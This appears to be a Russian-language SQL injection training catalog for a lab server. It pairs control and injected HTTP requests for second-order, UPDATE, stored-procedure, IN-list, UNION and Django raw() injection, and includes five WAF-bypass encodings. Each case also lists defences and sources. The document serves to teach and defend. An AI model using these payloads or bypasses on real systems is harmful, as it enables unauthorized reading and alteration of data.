HTTP/1.1 200 OK
Content-Type: application/json
{"saved":true}Профиль сохранил строку буквально. На этом шаге инъекции в SQL нет.
HTTP-запрос
GET /api/reports/my HTTP/1.1
Host: lab.example.test
Cookie: session=tester_lab
Accept: application/jsonОтвет учебного сервера
HTTP/1.1 200 OK
Content-Type: application/json
{"reports":[{"id":201,"author":"tester"},{"id":202,"author":"bob"}]}Как ввод становится SQL
- HTTP / ВВОД
POST display_name='tester' OR 1=1-- ' → stored profile fieldКонтролируемое значение отправлено клиентом; до декодирования оно может выглядеть иначе.
- ПРИЛОЖЕНИЕ
Сохранённое имя profile.display_name повторно взято в /api/reports/myПриложение получает значение после HTTP/JSON-парсера и строит SQL.
- SQL / СУБД
SELECT id,author FROM reports WHERE author='tester' OR 1=1-- 'SQL-парсер видит не параметр-данные, а новые выражения внутри инструкции.
- РЕЗУЛЬТАТ
возвращены report 201 и report 202 (bob)Наблюдение относится к указанному учебному стенду; требуется подтверждение.
Почему так получилось
Первый UPDATE профиля трактует имя как данные. Позже динамическое формирование SELECT превращает это же поле в SQL-синтаксис. Это и есть second-order, а не инъекция на первом POST.
Как убедиться, что это действительно сработало
Нужно показать две стадии: сохранение строки без выполнения и поздний SELECT, открывший отчёт bob. Один POST с текстом не подтверждает second-order SQLi.
Необходимое условие: Поле профиля сохранено буквально, а другой обработчик конкатенирует его в SQL без bind; DB-роль имеет доступ к записям reports.
Почему уязвимо
Разработчик ошибочно считает значения из собственной БД доверенными при повторной сборке запросов.
Как защититься
Параметризовать каждый последующий SQL, даже если значение пришло из профиля/БД; отдельно проверять права на отчёты.
Источник: PortSwigger: Second-order SQL injection
Импакт
Прямой результат: Чтение чужих отчётов при позднем небезопасном запросе, хотя первоначальное сохранение было безопасным.
Возможные последствия и ограничения: При других SQL-операциях возможна и запись, но в показанной цепочке доказано только расширение SELECT, не RCE.
SQLi может изменять данные напрямую внутри DML-операции, без второго оператора или UNION. Главное — динамический WHERE у UPDATE.
Предыстория / Red Team: Нашли JSON-операцию изменения одного флага по name. Вместо имени передаём строку, замыкающую кавычку и добавляющую OR.
Вариант 1 — Контроль: штатное изменение одного флага
HTTP-запрос 1
PATCH /api/lab/flags HTTP/1.1
Host: lab.example.test
Content-Type: application/json
Content-Length: 30
{"name":"demo","enabled":true}Ответ сервера 1
HTTP/1.1 200 OK
Content-Type: application/json
{"updated":1}Вариант 2 — проверяем SQLi
HTTP-запрос 2
PATCH /api/lab/flags HTTP/1.1
Host: lab.example.test
Content-Type: application/json
Content-Length: 41
{"name":"demo' OR 1=1-- ","enabled":true}Ответ сервера 2
HTTP/1.1 200 OK
Content-Type: application/json
{"updated":2}В чём разница: Тот же JSON-endpoint и метод PATCH: в уязвимом WHERE условие OR расширяет выборку UPDATE с одного lab_flags.demo до всех строк.
Как ввод становится SQL
- HTTP / ВВОД
name=demo' OR 1=1--Контролируемое значение отправлено клиентом; до декодирования оно может выглядеть иначе.
- ПРИЛОЖЕНИЕ
JSON parser → name interpolated inside SQL quoted literalПриложение получает значение после HTTP/JSON-парсера и строит SQL.
- SQL / СУБД
UPDATE lab_flags SET enabled=TRUE WHERE name='demo' OR 1=1-- 'SQL-парсер видит не параметр-данные, а новые выражения внутри инструкции.
- РЕЗУЛЬТАТ
updated=2 (demo и archive), а не updated=1Наблюдение относится к указанному учебному стенду; требуется подтверждение.
Почему так получилось
SQL-парсер завершает имя в кавычках; дополнительное OR 1=1 превращает WHERE в условие для всех флагов. Даже без stacked statements UPDATE становится массовым.
Как убедиться, что это действительно сработало
Помимо updated=2 проверить значения двух флагов отдельно: количество affected rows в API может быть ошибочным.
Необходимое условие: Приложение собирает DML UPDATE с необработанным name, DB-пользователь имеет права на изменение всех строк lab_flags, нет независимого ACL.
Почему уязвимо
Структура SQL UPDATE зависит от пользовательского строкового имени.
Как защититься
Bind name как значение, отдельная проверка права менять конкретный флаг, контроль affected row count и минимальные права.
Источник: OWASP WSTG: SQL injection
Импакт
Прямой результат: Нарушение целостности: массовое изменение строк, хотя пользователь рассчитывал изменять одну.
Возможные последствия и ограничения: Реальная серьёзность зависит от таблицы и прав DB-пользователя; этот пример не доказывает выполнение произвольного кода.
Хранимая процедура не защищает автоматически: в T-SQL уязвимость возникает, если процедура конкатенирует параметр в строку и исполняет её как SQL.
Предыстория / Red Team: Мы нашли поиск журналов через хранимую процедуру и проверяем, формирует ли она SQL строкой перед EXEC(@sql), вместо использования параметров.
Вариант 1 — Контроль: поиск по actor=alice
HTTP-запрос 1
POST /api/audit/search HTTP/1.1
Host: lab.example.test
Content-Type: application/json
Content-Length: 17
{"actor":"alice"}Ответ сервера 1
HTTP/1.1 200 OK
Content-Type: application/json
{"events":["alice:login"]}Вариант 2 — проверяем SQLi
HTTP-запрос 2
POST /api/audit/search HTTP/1.1
Host: lab.example.test
Content-Type: application/json
Content-Length: 28
{"actor":"alice' OR 1=1-- "}Ответ сервера 2
HTTP/1.1 200 OK
Content-Type: application/json
{"events":["alice:login","bob:export"]}В чём разница: Вместо одного журнала alice возвращаются записи разных участников. Уязвима не сама процедура, а динамический EXEC из конкатенированного текста.
Как ввод становится SQL
- HTTP / ВВОД
actor=alice' OR 1=1--Контролируемое значение отправлено клиентом; до декодирования оно может выглядеть иначе.
- ПРИЛОЖЕНИЕ
stored procedure @actor → dynamic @sqlПриложение получает значение после HTTP/JSON-парсера и строит SQL.
- SQL / СУБД
EXEC(@sql) где @sql = 'SELECT actor,event FROM audit_entries WHERE actor=''alice'' OR 1=1-- 'SQL-парсер видит не параметр-данные, а новые выражения внутри инструкции.
- РЕЗУЛЬТАТ
в ответе появилось событие bob:exportНаблюдение относится к указанному учебному стенду; требуется подтверждение.
Почему так получилось
SQL Server выполняет динамическую строку, в которую процедура подставила @actor. Если использовать sp_executesql с параметром @actor для значения, ввод не изменит WHERE.
Как убедиться, что это действительно сработало
Подтвердить, что процедура реально строит @sql через конкатенацию, и сравнить результат по одному actor и OR 1=1.
Необходимое условие: Только Microsoft SQL Server и уязвимая процедура с EXEC(@sql); она выполняется с правами, позволяющими видеть чужие audit_entries.
Почему уязвимо
Процедура считается доверенной границей, но внутри используется динамический SQL с недоверенным параметром.
Как защититься
Параметры sp_executesql и allowlist идентификаторов, минимальные права EXECUTE и DB-роли.
Источник: OWASP SQLi Prevention: stored procedures
Импакт
Прямой результат: Раскрытие служебных событий других пользователей через хранимую процедуру.
Возможные последствия и ограничения: Повышение привилегий зависит от модели EXECUTE AS и разрешений процедуры; сам факт EXEC не даёт автоматически системных прав.
05 / Нетипичные места построения SQL3 вектора
Динамические списки, имена таблиц и raw SQL внутри ORM. Это не новые названия параметров: разбор показывает, как именно меняется грамматика и какая защита применима.
Сервер конструирует IN(${ids}) из CSV-строки; один пользовательский фрагмент закрывает список и меняет WHERE для всех заказов.
Предыстория / Red Team: Мы нашли пакетный выбор заказов по ids. Вместо одного числа передаём закрывающую скобку и SQL-условие, чтобы разорвать выражение IN (...).
Вариант 1 — Контроль: один разрешённый id
HTTP-запрос 1
GET /api/orders?ids=101 HTTP/1.1
Host: lab.example.test
Accept: application/jsonОтвет сервера 1
HTTP/1.1 200 OK
Content-Type: application/json
{"orders":[{"id":101,"owner":"alice"}]}Вариант 2 — проверяем SQLi
HTTP-запрос 2
GET /api/orders?ids=101)%20OR%201%3D1--%20 HTTP/1.1
Host: lab.example.test
Accept: application/jsonОтвет сервера 2
HTTP/1.1 200 OK
Content-Type: application/json
{"orders":[{"id":101,"owner":"alice"},{"id":102,"owner":"bob"}]}В чём разница: Изменяется не только значение id: закрывающая скобка завершает IN(101), OR расширяет условие, комментарий скрывает серверный owner-предикат.
Как ввод становится SQL
- HTTP / ВВОД
ids=101) OR 1=1--Контролируемое значение отправлено клиентом; до декодирования оно может выглядеть иначе.
- ПРИЛОЖЕНИЕ
CSV -> literal fragment in SQL IN()Приложение получает значение после HTTP/JSON-парсера и строит SQL.
- SQL / СУБД
SELECT id,owner FROM orders WHERE id IN (101) OR 1=1-- ) AND owner='alice'SQL-парсер видит не параметр-данные, а новые выражения внутри инструкции.
- РЕЗУЛЬТАТ
orders: alice 101 и bob 102 вместо только 101Наблюдение относится к указанному учебному стенду; требуется подтверждение.
Почему так получилось
Закрывающая скобка меняет грамматику: условие больше не ограничивается списком IN, SQL OR применяется за его пределами.
Как убедиться, что это действительно сработало
Сравнить ids=101 и модифицированное значение при той же сессии. Отдельно удостовериться, что bob действительно не принадлежит текущему пользователю.
Необходимое условие: Список ids напрямую интерполируется в SQL, нет typed placeholders для каждого элемента и независимого ACL владельца.
Почему уязвимо
Сервер считает CSV-список готовым безопасным SQL-фрагментом.
Как защититься
Разбирать ids в числовой список и использовать безопасную форму IN (...) со связанными параметрами, отдельно проверять владельца.
Источник: OWASP SQL Injection Prevention
Импакт
Прямой результат: Возврат заказов, не указанных в списке, включая чужие заказы, если DB-роль их видит.
Возможные последствия и ограничения: Это SQLi в синтаксисе IN и нарушение области выборки; отсутствие object-level ACL — отдельная проблема, которую тоже нужно исправить.
Имена таблиц нельзя безопасно подставить обычным bind-параметром значения: это часть грамматики запроса. Нужен фиксированный allowlist.
Предыстория / Red Team: Мы нашли параметр source, которым выбирают таблицу отчёта. Вместо публичного имени передаём SQL-фрагмент с UNION, чтобы проверить отсутствие списка разрешённых источников.
Вариант 1 — Контроль: разрешённый источник
HTTP-запрос 1
GET /api/labels?source=public_labels HTTP/1.1
Host: lab.example.test
Accept: application/jsonОтвет сервера 1
HTTP/1.1 200 OK
Content-Type: application/json
{"labels":["public-demo"]}Вариант 2 — проверяем SQLi
HTTP-запрос 2
GET /api/labels?source=public_labels%20UNION%20SELECT%20label%20FROM%20internal_labels--%20 HTTP/1.1
Host: lab.example.test
Accept: application/jsonОтвет сервера 2
HTTP/1.1 200 OK
Content-Type: application/json
{"labels":["public-demo","lab-marker=internal"]}В чём разница: Изменяется структура FROM/UNION, а не просто название таблицы. Появляется строка из internal_labels, отсутствующая в public_labels.
Как ввод становится SQL
- HTTP / ВВОД
source=public_labels UNION SELECT label FROM internal_labels--Контролируемое значение отправлено клиентом; до декодирования оно может выглядеть иначе.
- ПРИЛОЖЕНИЕ
source → whole SQL fragment after FROMПриложение получает значение после HTTP/JSON-парсера и строит SQL.
- SQL / СУБД
SELECT label FROM public_labels UNION SELECT label FROM internal_labels--SQL-парсер видит не параметр-данные, а новые выражения внутри инструкции.
- РЕЗУЛЬТАТ
в labels появился lab-marker=internalНаблюдение относится к указанному учебному стенду; требуется подтверждение.
Почему так получилось
Недоверенный источник выходит за пределы одного идентификатора и добавляет UNION. Если server map source=public → public_labels, другой SQL-синтаксис не допускается.
Как убедиться, что это действительно сработало
Контрольная выборка содержит только public-demo; после инъекции появляется маркер internal. Нужны права SELECT на обе таблицы.
Необходимое условие: Backend делает SELECT ... FROM ${source} и не использует allowlist, DB-роль может читать internal_labels.
Почему уязвимо
Источник таблицы произвольно контролирует текст FROM/UNION.
Как защититься
Map user choice → одно из фиксированных имён таблиц на сервере; права DB-роли минимальны.
Источник: OWASP: allow-list for table names
Импакт
Прямой результат: Чтение строк таблицы, не предусмотренной пользовательским выбором source.
Возможные последствия и ограничения: При отсутствии прав на internal_labels запрос закончится отказом; динамическое имя не означает доступ к каждой таблице.
ORM не делает SQL безопасным автоматически: опасность возникает при raw() с вручную собранной строкой, несмотря на используемый фреймворк.
Предыстория / Red Team: Приложение построено на Django ORM, но мы заметили endpoint поиска с ручным .raw(). Проверяем, не вставляется ли поисковая строка через f-string.
Вариант 1 — Контроль: обычный поиск
HTTP-запрос 1
POST /api/search HTTP/1.1
Host: lab.example.test
Content-Type: application/json
Content-Length: 17
{"query":"Guide"}Ответ сервера 1
HTTP/1.1 200 OK
Content-Type: application/json
{"hits":[{"id":1,"title":"Guide"}]}Вариант 2 — проверяем SQLi
HTTP-запрос 2
POST /api/search HTTP/1.1
Host: lab.example.test
Content-Type: application/json
Content-Length: 28
{"query":"Guide' OR 1=1-- "}Ответ сервера 2
HTTP/1.1 200 OK
Content-Type: application/json
{"hits":[{"id":1,"title":"Guide"},{"id":2,"title":"Mouse"},{"id":3,"title":"Draft"}]}В чём разница: JSON строка query сначала разбирается корректно, но затем f-string формирует SQL без bind. Меняется WHERE, и поиск выдаёт всю таблицу.
Как ввод становится SQL
- HTTP / ВВОД
query=Guide' OR 1=1--Контролируемое значение отправлено клиентом; до декодирования оно может выглядеть иначе.
- ПРИЛОЖЕНИЕ
JSON.parse → Django view → .raw(f"SELECT ... '{query}'")Приложение получает значение после HTTP/JSON-парсера и строит SQL.
- SQL / СУБД
SELECT id,title FROM products WHERE title='Guide' OR 1=1-- ' AND published=TRUESQL-парсер видит не параметр-данные, а новые выражения внутри инструкции.
- РЕЗУЛЬТАТ
все 3 товара вместо одного GuideНаблюдение относится к указанному учебному стенду; требуется подтверждение.
Почему так получилось
Django cursor или Model.objects.raw() выполняет итоговую SQL-строку, которую разработчик собрал из пользовательского значения. Использование ORM для остальных операций не защищает этот raw SQL.
Как убедиться, что это действительно сработало
Сравнить запрос с нормальным поиском. Для подтверждения причины нужна проверка сервера: действительно ли используется raw-конкатенация, а не параметризация.
Необходимое условие: Django-приложение использует .raw() с f-string либо аналогичный cursor.execute без параметров; DB-роль читает products.
Почему уязвимо
Raw SQL соединяет ввод со строкой запроса до вызова ORM API.
Как защититься
Использовать ORM-фильтры или raw(sql, params) со связанными значениями; published/ACL держать в неизменной серверной логике.
Источник: OWASP SQLi Prevention
Импакт
Прямой результат: Раскрытие товаров вне заданного поиска, включая непубличные записи, если запрос не имеет независимого фильтра.
Возможные последствия и ограничения: ORM и конкретный endpoint не определяют масштаб: права и сама SQL-операция ограничивают возможный эффект.
04 / ОБХОД WAF
Обход WAF
Пять условных несовпадений WAF и backend. Не считать кодирование само по себе SQLi: только неверный SQL builder и реальное различие парсеров позволяют получить эффект.
Предыстория / Red Team: Мы видим WAF-правило по ключевому слову OR в сыром URL. Кодируем буквы в %4F%52 и смотрим, декодирует ли их backend после фильтра.
Вариант 1 — исходная форма
HTTP-запрос 1
GET /api/products?id=1%20OR%201%3D1 HTTP/1.1
Host: lab.example.test
Accept: application/jsonУсловный ответ 1
HTTP/1.1 403 Forbidden
Content-Type: application/json
{"error":"waf_rule_blocked"}Вариант 2 — другое представление SQL-ввода
HTTP-запрос 2
GET /api/products?id=1%20%4F%52%201%3D1 HTTP/1.1
Host: lab.example.test
Accept: application/jsonУсловный ответ 2
HTTP/1.1 200 OK
Content-Type: application/json
{"ids":[1,2,3]}RAW → WAF → BACKEND → SQL
- RAW
RAW: %4F%52Сетевое представление контролируемого значения.
- WAF
WAF: raw 'OR' rule not matchedЧто фактически проверяет WAF при заданной конфигурации.
- BACKEND
BACKEND: URL decode → ORЧто получает приложение после собственных парсеров.
- SQL
SQL: id=1 OR 1=1Что выполняет SQL-интерпретатор при отсутствии binding.
Откуда возникает различие
Если WAF анализирует сырые байты и ищет буквальный токен OR, а backend URL-decode выполняет позже, два слоя видят разные строки.
Как подтвердить расхождение
Сравнить WAF log raw payload, backend decoded id и включение дополнительной строки; один 200 не доказательство.
Когда возможно расхождение: Только при отсутствии URL_DECODE в WAF, наличии такой фильтрации и уязвимого SQL builder. У многих WAF трансформация выполняется заранее.
Ограничение сценария
Сценарий условен: расхождение возможно только при заданной настройке WAF и обработчика.
Правильная защита
Не полагаться на WAF: parameterized statements для значений, allowlist SQL-структур и единая интерпретация данных.
Источник: OWASP WSTG SQLi
Импакт
Прямой результат: В учебной модели закодированный вариант обходит конкретную сигнатуру WAF и расширяет SQL-выборку.
Возможные последствия и ограничения: Это не универсальное обходное значение: совпадающий decode или bind-параметр устраняют эффект.
Предыстория / Red Team: Мы нашли двойной decode между защитой и приложением. Проверяем, увидит ли WAF только %4F%52, а SQL-builder получит OR после второго прохода.
Вариант 1 — исходная форма
HTTP-запрос 1
GET /api/products?id=1%20OR%201%3D1 HTTP/1.1
Host: lab.example.test
Accept: application/jsonУсловный ответ 1
HTTP/1.1 403 Forbidden
Content-Type: application/json
{"error":"waf_rule_blocked"}Вариант 2 — другое представление SQL-ввода
HTTP-запрос 2
GET /api/products?id=1%2520%254F%2552%25201%253D1 HTTP/1.1
Host: lab.example.test
Accept: application/jsonУсловный ответ 2
HTTP/1.1 200 OK
Content-Type: application/json
{"ids":[1,2,3]}RAW → WAF → BACKEND → SQL
- RAW
RAW: %2520%254F%2552%25201%253D1Сетевое представление контролируемого значения.
- WAF
WAF 1 decode: %20%4F%52%201%3D1Что фактически проверяет WAF при заданной конфигурации.
- BACKEND
BACKEND 2 decode: 1 OR 1=1Что получает приложение после собственных парсеров.
- SQL
SQL: WHERE id=1 OR 1=1Что выполняет SQL-интерпретатор при отсутствии binding.
Откуда возникает различие
Первое декодирование снимает %25, но оставляет percent-кодировку букв и пробелов; второе превращает их в SQL-условие.
Как подтвердить расхождение
Фиксировать представление строки после каждого декодирования в собственном стенде.
Когда возможно расхождение: Нужны именно два decode после получения HTTP. При одном decode вход остаётся закодированным текстом и не превращается в SQL-оператор.
Ограничение сценария
Сценарий условен: расхождение возможно только при заданной настройке WAF и обработчика.
Правильная защита
Не полагаться на WAF: parameterized statements для значений, allowlist SQL-структур и единая интерпретация данных.
Источник: PortSwigger SQLi
Импакт
Прямой результат: Условный обход сигнатуры WAF и SQLi на backend после дополнительной нормализации.
Возможные последствия и ограничения: При одинаковой нормализации или parameter binding отсутствует; двойная кодировка сама по себе не является SQLi.
Предыстория / Red Team: Мы сравниваем, какой id проверяет WAF и какой выбирает backend при повторяющемся query-параметре.
Вариант 1 — исходная форма
HTTP-запрос 1
GET /api/products?id=1%20OR%201%3D1 HTTP/1.1
Host: lab.example.test
Accept: application/jsonУсловный ответ 1
HTTP/1.1 403 Forbidden
Content-Type: application/json
{"error":"waf_rule_blocked"}Вариант 2 — другое представление SQL-ввода
HTTP-запрос 2
GET /api/products?id=1&id=1%20OR%201%3D1 HTTP/1.1
Host: lab.example.test
Accept: application/jsonУсловный ответ 2
HTTP/1.1 200 OK
Content-Type: application/json
{"ids":[1,2,3]}RAW → WAF → BACKEND → SQL
- RAW
RAW: id=1&id=1 OR 1=1Сетевое представление контролируемого значения.
- WAF
WAF first id → 1Что фактически проверяет WAF при заданной конфигурации.
- BACKEND
BACKEND last id → 1 OR 1=1Что получает приложение после собственных парсеров.
- SQL
SQL: WHERE id=1 OR 1=1Что выполняет SQL-интерпретатор при отсутствии binding.
Откуда возникает различие
Если WAF считает только первый id, а framework берёт последний, проверенный и исполненный фрагменты различаются.
Как подтвердить расхождение
Сравнивать parsed значения по журналам на обоих слоях.
Когда возможно расхождение: Должны быть подтверждены first-value у WAF и last-value у backend. Во многих стэках дубликаты отклоняются или выбираются одинаково.
Ограничение сценария
Сценарий условен: расхождение возможно только при заданной настройке WAF и обработчика.
Правильная защита
Не полагаться на WAF: parameterized statements для значений, allowlist SQL-структур и единая интерпретация данных.
Источник: OWASP WSTG SQLi
Импакт
Прямой результат: Обход проверки значения, расширение результата SQL в уязвимом endpoint.
Возможные последствия и ограничения: При единообразной обработке дублей или параметризации SQL добавочный параметр не создаёт импакта.
Предыстория / Red Team: Мы видим, что WAF проверяет сырые JSON-байты. Кодируем буквы OR как \u004f\u0052 и сравниваем значение после JSON.parse.
Вариант 1 — исходная форма
HTTP-запрос 1
POST /api/search HTTP/1.1
Host: lab.example.test
Content-Type: application/json
Content-Length: 28
{"query":"Guide' OR 1=1-- "}Условный ответ 1
HTTP/1.1 403 Forbidden
Content-Type: application/json
{"error":"waf_rule_blocked"}Вариант 2 — другое представление SQL-ввода
HTTP-запрос 2
POST /api/search HTTP/1.1
Host: lab.example.test
Content-Type: application/json
Content-Length: 38
{"query":"Guide' \u004f\u0052 1=1-- "}Условный ответ 2
HTTP/1.1 200 OK
Content-Type: application/json
{"ids":[1,2,3]}RAW → WAF → BACKEND → SQL
- RAW
RAW JSON: \u004f\u0052Сетевое представление контролируемого значения.
- WAF
WAF: string lacks literal ORЧто фактически проверяет WAF при заданной конфигурации.
- BACKEND
BACKEND JSON parse → ORЧто получает приложение после собственных парсеров.
- SQL
SQL: title='Guide' OR 1=1--Что выполняет SQL-интерпретатор при отсутствии binding.
Откуда возникает различие
JSON parser превращает Unicode escapes в обычные буквы внутри строки; только сырой инспектор видит представление до разбора.
Как подтвердить расхождение
Сравнить raw JSON, decoded field и SQL expression. Проверять Content-Length в демонстрационном запросе.
Когда возможно расхождение: WAF не разбирает JSON, backend использует parsed query в SQL-конкатенации, фильтр действительно блокирует буквальную форму.
Ограничение сценария
Сценарий условен: расхождение возможно только при заданной настройке WAF и обработчика.
Правильная защита
Не полагаться на WAF: parameterized statements для значений, allowlist SQL-структур и единая интерпретация данных.
Источник: OWASP SQL Injection Prevention
Импакт
Прямой результат: Обход сырого текстового WAF-правила и расширение SQL-выборки.
Возможные последствия и ограничения: Если WAF анализирует parsed JSON или SQL использует bind, исполнение не меняется.
Предыстория / Red Team: Мы нашли сигнатуру WAF, ожидающую пробелы вокруг OR. В учебном запросе заменяем их SQL-комментариями /**/ и сравниваем разбор.
Вариант 1 — исходная форма
HTTP-запрос 1
GET /api/products?id=1%20OR%201%3D1 HTTP/1.1
Host: lab.example.test
Accept: application/jsonУсловный ответ 1
HTTP/1.1 403 Forbidden
Content-Type: application/json
{"error":"waf_rule_blocked"}Вариант 2 — другое представление SQL-ввода
HTTP-запрос 2
GET /api/products?id=1%2F**%2FOR%2F**%2F1%3D1 HTTP/1.1
Host: lab.example.test
Accept: application/jsonУсловный ответ 2
HTTP/1.1 200 OK
Content-Type: application/json
{"ids":[1,2,3]}RAW → WAF → BACKEND → SQL
- RAW
RAW: 1/**/OR/**/1=1Сетевое представление контролируемого значения.
- WAF
WAF: regex expects spaces around ORЧто фактически проверяет WAF при заданной конфигурации.
- BACKEND
BACKEND: comment tokens separate SQL wordsЧто получает приложение после собственных парсеров.
- SQL
SQL: id=1 OR 1=1Что выполняет SQL-интерпретатор при отсутствии binding.
Откуда возникает различие
SQL допускает комментарий /**/ между лексемами вместо обычного пробела, а упрощённый WAF regex может не распознать такое разделение.
Как подтвердить расхождение
Проверить лог WAF и SQL-предикат после удаления комментариев. Комментарий сам по себе не создаёт SQLi.
Когда возможно расхождение: Демонстрационный WAF проверяет только буквальные пробельные разделители; DB SQL-парсер воспринимает комментарии и endpoint не параметризует id.
Ограничение сценария
Сценарий условен: расхождение возможно только при заданной настройке WAF и обработчика.
Правильная защита
Не полагаться на WAF: parameterized statements для значений, allowlist SQL-структур и единая интерпретация данных.
Источник: PortSwigger SQLi cheat sheet
Импакт
Прямой результат: Обход недостаточной сигнатуры WAF и расширение данных в SQLi endpoint.
Возможные последствия и ограничения: Нельзя считать любой комментарий обходом: нормализующий WAF и корректный SQL bind останавливают атаку.
05 / ТЕОРИЯ И ЗАЩИТА
Теория и защита
В теоретических HTTP-примерах значения query-параметров показаны полностью раскодированными, чтобы сразу видеть SQL-выражение. Это учебное представление после URL-decoding, не буквальные байты запроса по сети.
В учебном каталоге один и тот же ввод безопасен как bound value и опасен при конкатенации.
HTTP-пример (раскодированный вид)
GET /api/products?id=1 OR 1=1-- HTTP/1.1
Host: lab.example.test
Accept: application/jsonОтвет учебного сервера
HTTP/1.1 400 Bad Request
Content-Type: application/json
{"error":"id_must_be_integer"}Что означают строки и заголовки
- GET /api/products
- HTTP endpoint принимает клиентское значение id.
- id=1 OR 1=1--
- Показано раскодированное значение параметра id. Пробелы и оператор OR читаются непосредственно; на сетевом уровне пробелы в URL обычно кодируются.
- bind integer
- Драйвер принимает id только как значение и отвергает SQL-выражение.
- 400
- Запрос отклонён, но это не доказательство общей безопасности других SQL-сборщиков.
Надёжная защита определяется сохранением структуры SQL и типом/правами параметров, а не блокировкой слов OR или UNION.
Пример blind: тот же товар есть при истинном предикате и отсутствует при ложном.
HTTP-пример (раскодированный вид)
GET /api/products?id=1 AND (SELECT COUNT(*) FROM lab_markers)>0 HTTP/1.1
Host: lab.example.test
Accept: application/jsonОтвет учебного сервера
HTTP/1.1 200 OK
Content-Type: application/json
{"products":[{"id":1,"title":"Guide"}]}Что означают строки и заголовки
- WHERE
- SQL-условие на стороне базы решает, появится ли строка.
- lab_markers
- Учебная таблица с одним маркером.
- blind
- Таблица/маркер не выводятся напрямую; HTTP выдаёт косвенный признак.
Один похожий ответ не доказывает SQLi. Сравнивать контроль, стабильность результатов и соответствие условиям конкретной СУБД.
Пользователь запрашивает сортировку price, сервер подставляет фиксированное имя разрешённого столбца.
HTTP-пример (раскодированный вид)
GET /api/products?sort=price HTTP/1.1
Host: lab.example.test
Accept: application/jsonОтвет учебного сервера
HTTP/1.1 200 OK
Content-Type: application/json
{"ids":[3,1,2]}Что означают строки и заголовки
- sort
- Клиент выбирает один из поддерживаемых вариантов.
- allowlist
- Вариант price на сервере сопоставляется с заранее известным ORDER BY price.
- bind
- Плейсхолдер не превращает строку 'price' в имя SQL-столбца.
Разрешённый список структурных элементов и параметризация значений применяются совместно.
Уязвимый UPDATE потенциально меняет два контрольных флага вместо одного.
HTTP-пример (раскодированный вид)
PATCH /api/lab/flags HTTP/1.1
Host: lab.example.test
Content-Type: application/json
Content-Length: 41
{"name":"demo' OR 1=1-- ","enabled":true}Ответ учебного сервера
HTTP/1.1 200 OK
Content-Type: application/json
{"updated":2}Что означают строки и заголовки
- PATCH
- HTTP-операция изменения данных.
- UPDATE
- SQL-инструкция, изменяющая строки БД.
- 2 rows
- По модели затронуты два флага; подтверждать реальным чтением состояния.
- права DB
- Роль должна иметь UPDATE, иначе операция не выполнится.
Результат 200/updated=2 сам по себе недостаточен: проверять состояние и отличать чтение, запись и выполнение кода.
| Мера защиты | Почему работает |
|---|---|
| Prepared statements / bound values | Драйвер отделяет структуру SQL от передаваемых значений; SQL-операторы внутри значения не исполняются. |
| Allowlist ORDER BY и таблиц | Структурные идентификаторы нельзя связать обычным bind-параметром; выбирать только серверные варианты. |
| Параметризация на всех этапах | Данные, сохранённые безопасным INSERT, должны вновь привязываться при последующем SELECT (second-order). |
| Безопасный ORM / raw | Использовать query builder и bind params даже внутри raw SQL или stored procedures. |
| Минимальные права DB-роли | Читающему endpoint не давать UPDATE/DDL; ограничить доступ к служебным таблицам и функциям. |
| Ошибки, наблюдаемость, ограничения | Не возвращать SQL-диагностику в HTTP; логировать и мониторить аномальные запросы и задержки. |
| Независимый контроль доступа | Parameterization предотвращает SQLi, но не заменяет ACL на строки/объекты и бизнес-ограничения. |